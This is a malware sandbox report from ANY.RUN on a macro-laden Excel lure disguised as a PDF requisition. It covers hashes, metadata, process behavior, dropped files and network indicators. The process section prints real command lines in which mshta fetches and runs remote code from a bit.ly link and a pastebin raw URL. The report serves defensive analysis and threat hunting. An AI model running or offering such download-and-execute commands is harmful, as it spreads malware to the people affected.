analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

DAEWOO ENGINE REQUISITION.PDF.xls

Full analysis: https://app.any.run/tasks/b587b4c3-ab76-42c1-8c76-507d87188d5c
Verdict: Malicious activity
Analysis date: September 19, 2019, 08:35:56
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Sep 17 21:37:14 2019, Security: 0
MD5:

DE79633DB0D36CBD3F83872563BE5207

SHA1:

407EC0CFB753375C3FDEF7F02AC192E765AABE84

SHA256:

50D2A5DA9DD68A1E1154AAB5F371D1DFC863872E71D501033386C22788B10D11

SSDEEP:

3072:gqZ+RwPONXoRjDhIcp0fDlaGGx+cL26nAunfDz2rq7CtRNaRJePlYxelSowL8KfZ:pZ+RwPONXoRjDhIcp0fDlavx+W26nAuy

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EXCEL.EXE (PID: 2864)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2864)

  • SUSPICIOUS

    • Creates files in the user directory

      • mshta.exe (PID: 3296)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • mshta.exe (PID: 3296)

    • Application launched itself

      • mshta.exe (PID: 3296)

  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2864)

    • Reads internet explorer settings

      • mshta.exe (PID: 3296)
      • mshta.exe (PID: 3876)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Author: -
LastModifiedBy: -
Software: Microsoft Excel
CreateDate: 2006:09:16 00:00:00
ModifyDate: 2019:09:17 20:37:14
Security: None
CodePage: Windows Latin 1 (Western European)
AppVersion: 12
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
  • Sheet1
  • Sheet2
  • Sheet3
HeadingPairs:
  • Worksheets
  • 3
CompObjUserTypeLen: 38
CompObjUserType: Microsoft Office Excel 2003 Worksheet
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
35
Monitored processes
3
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start excel.exe no specs mshta.exe mshta.exe

Process information

PID
CMD
Path
Indicators
Parent process
2864"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
3296mshta http:\\bit.ly\6xAsddVGhsxew6C:\Windows\system32\mshta.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3876"C:\Windows\System32\mshta.exe" http://www.pastebin.com/raw/6HZv2hXcC:\Windows\System32\mshta.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Total events
762
Read events
714
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
0
Text files
13
Unknown types
1

Dropped files

PID
Process
Filename
Type
2864EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR96F5.tmp.cvr —
MD5:—
SHA256:—
3296mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\authorization[1].css —
MD5:—
SHA256:—
3296mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\error[1]text
MD5:35FE91C2AC1BA0913CC617622B9EB43F
SHA256:966240C0527B20E8E2553B7E5A68594AE69230AA00186F2C6C2C342405494837
3296mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\296799029-widgets[1].jstext
MD5:DC41DA4CACCA57F48D701AE0FBA65763
SHA256:0673CBACAEB235D524AEFC58EED8BCCE9446CEAC95335CF7E86A602B0BCCD156
3296mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\1646370754-comment_from_post_iframe[1].jshtml
MD5:9EE08AD2448D931C3350F8EFB31B9583
SHA256:045A89DA56E925603D6AE87BD25C68A06487B706CB75CD41138614995118D32E
3296mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\95993233-ieretrofit[1].jshtml
MD5:43AD0C19DD69995D18B1824C047A45A5
SHA256:ED723AD81C8ADD8D98D9AEDA58DA6CB9DF591DF8A8C1712601A2932130DB783F
3296mshta.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@bit[1].txttext
MD5:387AD8648F96F316137202F0C74D7D53
SHA256:2D6F8C690486705326234ACB3E44A3D89787F5BFDF83A4269DAA796DC71F7251
3296mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\8[1].htmlhtml
MD5:6AE47D875F5D637C1170491D05D74350
SHA256:D1DF19E3BC8AC2B222CD7DE9A198CD3EA104EC784A6DF42987D786BD71EC12A8
3296mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\error[1]html
MD5:16AA7C3BEBF9C1B84C9EE07666E3207F
SHA256:7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
3296mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\3597120983-css_bundle_v2[1].csstext
MD5:AC004AD1EAFC60B54FED8371C9C33FBC
SHA256:869176CAB64C36F92C6C1F8FFBE85919575D6B9995A54850E5925289F3A75078
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
11
DNS requests
6
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3876
mshta.exe
GET
—
104.22.2.84:80
http://www.pastebin.com/raw/6HZv2hXc
US
—
—
shared
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3296
mshta.exe
172.217.23.161:443
acmacsimcasccc.blogspot.com
Google Inc.
US
whitelisted
3296
mshta.exe
172.217.22.45:443
accounts.google.com
Google Inc.
US
whitelisted
3296
mshta.exe
172.217.16.169:443
www.blogger.com
Google Inc.
US
whitelisted
3296
mshta.exe
67.199.248.10:80
bit.ly
Bitly Inc
US
shared
3876
mshta.exe
104.22.2.84:80
www.pastebin.com
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
bit.ly
  • 67.199.248.10
  • 67.199.248.11
shared
acmacsimcasccc.blogspot.com
  • 172.217.23.161
whitelisted
www.blogger.com
  • 172.217.16.169
shared
accounts.google.com
  • 172.217.22.45
shared
resources.blogblog.com
  • 172.217.16.169
whitelisted
www.pastebin.com
  • 104.22.2.84
  • 104.22.3.84
shared

Threats

PID
Process
Class
Message
3296
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
DAEWOO ENGINE REQUISITION.PDF.xls